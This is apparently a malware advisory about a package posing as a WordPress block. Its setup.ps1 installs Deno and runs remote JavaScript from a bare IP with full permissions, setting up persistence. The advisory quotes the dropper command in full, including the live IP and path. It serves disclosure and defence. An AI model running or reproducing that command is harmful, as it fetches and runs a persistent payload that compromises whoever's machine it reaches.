When run, setup.ps1 installs Scoop, winget, and the Deno runtime on the user's Windows host, then invokes `deno run -A http://172.94.9.157/v028f8cde892b0b74c8.js` — executing unpinned, unverified JavaScript fetched over plain HTTP from a bare IP with all Deno permissions granted (filesystem, network, environment, subprocess). Comments in the script self-describe the fetched code as a launcher-1 eval-loop that pulls launcher-2, which then sets up autorun and runs a main payload, indicating persistence. The mismatch between the advertised WordPress-block purpose and a Windows runtime dropper is a cover-story pattern; the bare-IP plain-HTTP delivery of a mutable script under a fully-permissioned alternate runtime is an install-time remote-code-execution vector against any developer who runs setup.ps1.\n\n## Source: ghsa-malware (964a3f6c00b9b203b2ce5d2bf2a913e877d136325b805010ef3615c2dcc6a52a)\nAny computer that has this package installed or running should be considered fully compromised.
